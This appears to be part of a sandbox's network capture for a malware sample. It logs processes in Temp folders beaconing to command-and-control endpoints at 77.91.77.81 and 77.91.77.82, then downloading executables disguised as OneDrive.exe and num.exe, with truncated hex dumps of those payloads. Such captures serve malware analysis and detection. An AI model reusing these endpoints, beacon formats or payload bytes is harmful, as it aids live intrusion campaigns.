Jul 24, 2024 02:39:54.154861927 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 23 Jul 2024 09:32:16 GMT Age: 54458 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 24, 2024 02:40:04.163718939 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:14.184326887 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:23.527394056 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 24, 2024 02:40:23.628252983 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 23 Jul 2024 09:32:16 GMT Age: 54487 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 24, 2024 02:40:33.637031078 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:43.671029091 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:40:53.679049015 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:41:03.690249920 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:41:13.722503901 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 24, 2024 02:41:23.802983046 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49866	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:05.202235937 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:05.927845001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:05.935149908 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:06.162827969 CEST	315	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 64 0d 0a 20 3c 63 3e 31 30 30 30 33 34 33 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 35 39 34 35 62 36 37 65 65 38 33 30 39 65 33 31 33 63 32 36 38 39 61 61 31 61 66 65 62 33 37 66 39 65 35 62 37 62 35 34 33 36 37 65 62 61 39 36 65 37 63 36 31 63 62 33 31 62 63 35 34 64 39 39 64 37 62 62 35 38 39 61 63 62 38 31 33 38 32 61 65 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7d <c>1000343001+++aa0ed36554e19fbffd5744f5945b67ee8309e313c2689aa1afeb37f9e5b7b54367eba96e7c61cb31bc54d99d7bb589acb81382ae#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49867	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:05.360496998 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:06.044326067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:06.044989109 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:06.266222000 CEST	361	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 61 62 0d 0a 20 3c 63 3e 31 30 30 30 30 31 39 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 66 38 64 37 63 32 62 33 61 34 66 63 61 31 63 36 33 31 39 37 35 39 34 39 23 31 30 30 30 30 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 64 34 34 62 35 63 30 34 66 37 65 33 62 34 34 36 30 61 35 30 32 62 34 63 62 63 35 61 32 65 61 66 65 62 37 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: ab <c>1000019031+++b5937c1a99d5f9db0d5da2c850673b5d76ac1cf8d7c2b3a4fca1c631975949#1000021001+++fc8f7c1ed3c0f9c30d44b5c04f7e3b4460a502b4cbc5a2eafeb7846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49868	185.196.10.57	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:06.171051025 CEST	70	OUT	GET /selectex-file-host/OneDrive.exe HTTP/1.1 Host: 185.196.10.57
Jul 24, 2024 02:40:07.575480938 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Jul 2024 00:40:06 GMT Content-Type: application/octet-stream Content-Length: 12945034 Last-Modified: Tue, 23 Jul 2024 23:44:05 GMT Connection: keep-alive ETag: "66a04045-c5868a" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 37 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 8e 01 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 9e eb [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$XhcXhcXhc`_hcfhcgRhc[hc`QhcgIhcfphcbShcXhbhcKgAhcKaYhcRichXhcPEd7f"(@`lx+`"h@P.text `.rdataB&(@@.datas@.pdata"`$@@.rsrc+,@@.reloch@B
Jul 24, 2024 02:40:07.575503111 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 e8 2f e1 00 00 8b 08 48 8b 05 ee cf 03 00 89 08 e8 27 e1 00 00 48 8b 08 48 8b 05 dd cf 03 00 48 89 48 08 48 Data Ascii: H(/H'HHHHHH($HqCH\$Hl$ LD$VWATAUAWH H3HDIHA.LHuHVHMVE3HI7yLFH
Jul 24, 2024 02:40:07.575519085 CEST	448	IN	Data Raw: 8d 15 00 a4 02 00 48 8d 0d 35 a4 02 00 e8 a4 12 00 00 e9 bb 00 00 00 8b 4e 0c e8 a7 2c 01 00 4c 8b f0 48 85 c0 75 20 44 8b 4e 0c 4c 8d 46 12 48 8d 15 20 a4 02 00 48 8d 0d 2d a2 02 00 e8 74 12 00 00 e9 8b 00 00 00 80 7e 10 01 75 13 4d 8b ce 45 33 Data Ascii: H5N,LHu DNLFH H-t~uME3HIc^Hl$@IH\|$HLd$PHt8A fDI;HMAIGHHnHrBHH+u3H\|$HHl$@Ld$PtI+E3IH\$XIH A_A^^LFH
Jul 24, 2024 02:40:07.575539112 CEST	1236	IN	Data Raw: ff ff e9 54 01 00 00 8b 57 04 45 33 c0 48 03 93 00 10 00 00 49 8b cf e8 6e e3 00 00 85 c0 79 21 4c 8d 47 12 48 8d 15 1b a2 02 00 48 8d 0d 50 a2 02 00 e8 bf 10 00 00 bb ff ff ff ff e9 12 01 00 00 80 7f 10 01 75 18 45 33 c9 4d 8b c4 48 8b d7 49 8b Data Ascii: TWE3HIny!LGHHPuE3MHI.Ll$03A Lt$(A*LHu!LGHH^Ht$XwHHl$P@ffI;HMAIGIHnHr1MA
Jul 24, 2024 02:40:07.575556040 CEST	224	IN	Data Raw: 66 90 33 c0 41 83 f8 02 7c 18 f3 0f 6f 02 66 0f 38 00 c1 f3 0f 7f 02 eb 1a 66 0f 1f 84 00 00 00 00 00 8b 0c 82 0f c9 89 0c 82 48 ff c0 48 83 f8 04 7c ef 0f b6 4a 11 8d 41 a6 a8 f7 74 13 80 f9 64 74 0e 80 f9 6e 74 09 80 f9 78 74 04 32 c0 eb 02 b0 Data Ascii: f3A\|of8fHH\|JAtdtntxt2HH;rHH$HH$H3L$I[ Ik(I_LD$LL$ SUVWH8IHl$xHH+Hl$(LL
Jul 24, 2024 02:40:07.575568914 CEST	1236	IN	Data Raw: 8b c3 48 c7 44 24 20 00 00 00 00 48 8b d7 48 8b 08 48 83 c9 02 e8 6c 20 01 00 85 c0 b9 ff ff ff ff 0f 48 c1 48 83 c4 38 5f 5e 5d 5b c3 cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 57 48 81 ec 80 02 00 00 48 8b 05 d2 c3 03 00 48 33 Data Ascii: HD$ HHHl HH8_^][H\$Hl$Ht$ WHHH3H$pHALLIHH(HD$ \|2AHDfZ 3^ Af\ HL$tfX zE3D$pL
Jul 24, 2024 02:40:07.575587034 CEST	1236	IN	Data Raw: 55 56 57 41 56 48 83 ec 50 48 8b 05 3e bf 03 00 48 33 c4 48 89 44 24 40 48 8b f1 0f b7 ea 48 8b 89 30 20 00 00 45 0f b7 f0 ff 15 ef 92 02 00 48 8b d8 48 85 c0 0f 84 90 00 00 00 0f b7 8e 58 20 00 00 33 ff 0f b7 86 5e 20 00 00 48 89 7c 24 30 89 7c Data Ascii: UVWAVHPH>H3HD$@HH0 EHHX 3^ H\|$0\|$<I+HH +L$8HtHHHV(D$ P%LL$0AHHH tHHH0 HWT$<f+T$4` D^ f;D$(fCL
Jul 24, 2024 02:40:07.575603962 CEST	448	IN	Data Raw: 00 00 00 48 8b d7 48 8b 08 48 83 c9 01 e8 20 19 01 00 85 c0 b9 ff ff ff ff 0f 48 c1 48 83 c4 38 5f 5e 5d 5b c3 cc cc cc cc cc 4c 8b dc 49 89 4b 08 49 89 53 10 4d 89 43 18 4d 89 4b 20 53 57 48 81 ec 48 0c 00 00 48 8b 05 2d ba 03 00 48 33 c4 48 89 Data Ascii: HHH HH8_^][LIKISMCMK SWHHH-H3H$0HI{H\|$(HT$0LHD$ AHHRAH$0HL$0F`3A0HtLH$0<LHT$00H$0H3HH_[
Jul 24, 2024 02:40:07.575618982 CEST	1236	IN	Data Raw: 48 33 c4 48 89 84 24 30 10 00 00 48 8b f9 e8 5b 1c 01 00 48 8d b4 24 70 10 00 00 8b 18 e8 98 e8 ff ff 4c 8b 8c 24 68 10 00 00 48 8d 94 24 30 04 00 00 48 89 74 24 28 41 b8 00 04 00 00 48 c7 44 24 20 00 00 00 00 48 8b 08 48 83 c9 02 e8 cc 14 01 00 Data Ascii: H3H$0H[H$pL$hH$0Ht$(AHD$ HHHD$(L$0LmH\|$ HL$0AH$0HL$0^3A0HtLH$0LHT$0{H$0H3H@_^[LIKI
Jul 24, 2024 02:40:07.575634956 CEST	1236	IN	Data Raw: 48 8b 05 07 11 04 00 48 8b cd ff 15 f6 87 02 00 48 8b eb 48 85 ed 74 20 48 8b 05 17 12 04 00 48 8b cd ff 15 de 87 02 00 48 85 c0 74 0b 48 8b c8 e8 85 6a 01 00 4c 8b f0 48 8b 05 cf 10 04 00 49 8b cf ff 15 be 87 02 00 48 8b 05 bf 10 04 00 48 8b cd Data Ascii: HHHHt HHHtHjLHIHHHl$`HILd$hHIH\$pIH0A_A^A]_^@VAUAWp`H+H&H3H$PH LHHkLHuH
Jul 24, 2024 02:40:07.575650930 CEST	1236	IN	Data Raw: 00 00 48 8d 4c 24 30 41 8b de e8 a3 66 02 00 49 8b bd 08 10 00 00 49 3b bd 10 10 00 00 0f 83 e8 01 00 00 4c 89 a4 24 f0 30 00 00 41 bc ff ff ff ff 48 89 b4 24 20 31 00 00 4c 89 bc 24 e0 30 00 00 90 0f b6 4f 11 8d 41 a6 a8 f7 74 17 80 f9 64 0f 84 Data Ascii: HL$0AfII;L$0AH$ 1L$0OAtdntx:HwH HtH<Ht$(L" LD$ \H$=(H$u>H HtH6H$
Jul 24, 2024 02:40:07.576066971 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Jul 2024 00:40:06 GMT Content-Type: application/octet-stream Content-Length: 12945034 Last-Modified: Tue, 23 Jul 2024 23:44:05 GMT Connection: keep-alive ETag: "66a04045-c5868a" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 37 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 8e 01 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 9e eb [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$XhcXhcXhc`_hcfhcgRhc[hc`QhcgIhcfphcbShcXhbhcKgAhcKaYhcRichXhcPEd7f"(@`lx+`"h@P.text `.rdataB&(@@.datas@.pdata"`$@@.rsrc+,@@.reloch@B
Jul 24, 2024 02:40:07.576472998 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Jul 2024 00:40:06 GMT Content-Type: application/octet-stream Content-Length: 12945034 Last-Modified: Tue, 23 Jul 2024 23:44:05 GMT Connection: keep-alive ETag: "66a04045-c5868a" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 37 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 8e 01 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 9e eb [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$XhcXhcXhc`_hcfhcgRhc[hc`QhcgIhcfphcbShcXhbhcKgAhcKaYhcRichXhcPEd7f"(@`lx+`"h@P.text `.rdataB&(@@.datas@.pdata"`$@@.rsrc+,@@.reloch@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49869	77.91.77.81	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:06.427372932 CEST	49	OUT	GET /cost/num.exe HTTP/1.1 Host: 77.91.77.81
Jul 24, 2024 02:40:07.576173067 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:07 GMT Content-Type: application/octet-stream Content-Length: 192000 Last-Modified: Mon, 22 Jul 2024 02:01:04 GMT Connection: keep-alive ETag: "669dbd60-2ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 50 af 9d 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELPfB"d@0$@<#\|$.textJ .rdata@@.data+!@.reloc*D#F@B
Jul 24, 2024 02:40:07.576188087 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 b9 41 00 70 c8 41 00 d9 c8 41 00 00 00 00 Data Ascii: yApAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj$bE
Jul 24, 2024 02:40:07.576205015 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 bb 8c 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 9e 37 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 ed 8c 01 00 8d 8d f8 fb ff ff e8 b2 8f 01 00 50 Data Ascii: QREPQ7PbjjRAM]UQMM\|nMHcM<XM0MM]
Jul 24, 2024 02:40:07.576220036 CEST	1236	IN	Data Raw: 35 8d 4d f4 e8 56 88 01 00 8d 4d e8 e8 4e 88 01 00 8d 4d 08 e8 46 88 01 00 8d 4d 18 e8 3e 88 01 00 8d 4d 24 e8 36 88 01 00 8d 4d 34 e8 ae fb ff ff e9 11 05 00 00 68 54 51 42 00 8d 8d cc fe ff ff 51 ff 15 98 d0 62 00 85 c0 74 16 68 fc 51 42 00 8d Data Ascii: 5MVMNMFM>M$6M4hTQBQbthQBRbu}hB(}0E$PlQhSBxRPQhLSBREPQhRBREPQ)
Jul 24, 2024 02:40:07.576236010 CEST	1236	IN	Data Raw: e8 86 83 01 00 8d 8d 94 fe ff ff e8 7b 83 01 00 8d 85 a0 fe ff ff 50 8b 4d e4 51 ff 15 a0 cf 62 00 85 c0 0f 85 39 fb ff ff 8b 55 e4 52 ff 15 18 cf 62 00 8d 4d e8 e8 90 85 01 00 8d 4d f4 e8 88 85 01 00 8d 4d f4 e8 40 83 01 00 8d 4d e8 e8 38 83 01 Data Ascii: {PMQb9URbMMM@M8M0M(M$ M4]UEEEM;UREk,T(REk,TRLEk,P5
Jul 24, 2024 02:40:07.576257944 CEST	1120	IN	Data Raw: c4 0c a3 6c cd 62 00 6a 0e 68 64 1b 42 00 68 74 1b 42 00 e8 df 22 00 00 83 c4 0c a3 f0 cb 62 00 6a 0c 68 84 1b 42 00 68 94 1b 42 00 e8 c6 22 00 00 83 c4 0c a3 04 ca 62 00 6a 08 68 a4 1b 42 00 68 b0 1b 42 00 e8 ad 22 00 00 83 c4 0c a3 c8 cd 62 00 Data Ascii: lbjhdBhtB"bjhBhB"bjhBhB"bjhBhB"DbjhBhB{"dbjhBhBb"PbjhBhBI"bjhBh4B0"bjhLBh`B"<bjhtBhB
Jul 24, 2024 02:40:07.576272964 CEST	1236	IN	Data Raw: 0d 42 00 68 ee 0d 42 00 e8 8a 1e 00 00 83 c4 0c a3 cc cd 62 00 6a 00 68 ef 0d 42 00 68 f2 0d 42 00 e8 71 1e 00 00 83 c4 0c a3 0c cd 62 00 6a 00 68 f3 0d 42 00 68 f6 0d 42 00 e8 58 1e 00 00 83 c4 0c a3 b0 cb 62 00 c7 05 d0 cd 62 00 00 00 00 00 c7 Data Ascii: BhBbjhBhBqbjhBhBXbbbjhBhB+bjhBhBbjhBh Bbjh$ Bh8 B,bjhL BhT B0bjh\ Bht Bbj
Jul 24, 2024 02:40:07.576286077 CEST	1236	IN	Data Raw: a3 10 cc 62 00 6a 10 68 cc 25 42 00 68 e0 25 42 00 e8 ad 19 00 00 83 c4 0c a3 e0 c8 62 00 6a 13 68 f4 25 42 00 68 08 26 42 00 e8 94 19 00 00 83 c4 0c a3 ec c9 62 00 6a 0b 68 1c 26 42 00 68 28 26 42 00 e8 7b 19 00 00 83 c4 0c a3 4c cb 62 00 6a 09 Data Ascii: bjh%Bh%Bbjh%Bh&Bbjh&Bh(&B{Lbjh4&Bh@&BbbjhL&BhX&BIbjhd&Bhp&B0bjh\|&Bh&Bbjh&Bh&Bbjh&Bh&B bjh&Bh&B
Jul 24, 2024 02:40:07.576301098 CEST	1236	IN	Data Raw: 00 68 b8 2c 42 00 e8 e4 14 00 00 83 c4 0c a3 08 cb 62 00 6a 10 68 cc 2c 42 00 68 e0 2c 42 00 e8 cb 14 00 00 83 c4 0c a3 5c ca 62 00 6a 0f 68 f4 2c 42 00 68 04 2d 42 00 e8 b2 14 00 00 83 c4 0c a3 38 cb 62 00 6a 10 68 14 2d 42 00 68 28 2d 42 00 e8 Data Ascii: h,Bbjh,Bh,B\bjh,Bh-B8bjh-Bh(-BXbjh<-BhP-BDbjhd-Bhx-Bg<bjh-Bh-BNbjh-Bh-B5bjh-Bh-Blbjh-Bh.Bb
Jul 24, 2024 02:40:07.576314926 CEST	1236	IN	Data Raw: 83 c4 0c a3 f4 ca 62 00 6a 04 68 18 34 42 00 68 20 34 42 00 e8 02 10 00 00 83 c4 0c a3 ec cb 62 00 6a 05 68 14 33 42 00 68 28 34 42 00 e8 e9 0f 00 00 83 c4 0c a3 e4 c8 62 00 6a 08 68 1c 33 42 00 68 30 34 42 00 e8 d0 0f 00 00 83 c4 0c a3 b8 cc 62 Data Ascii: bjh4Bh 4Bbjh3Bh(4Bbjh3Bh04Bbj h<4Bh`4Bbjh4Bh4Bbjh4Bh4Bbjh4Bh4Blbj_h4BhP5BSbjh5Bh5B:lbjh4Bh5
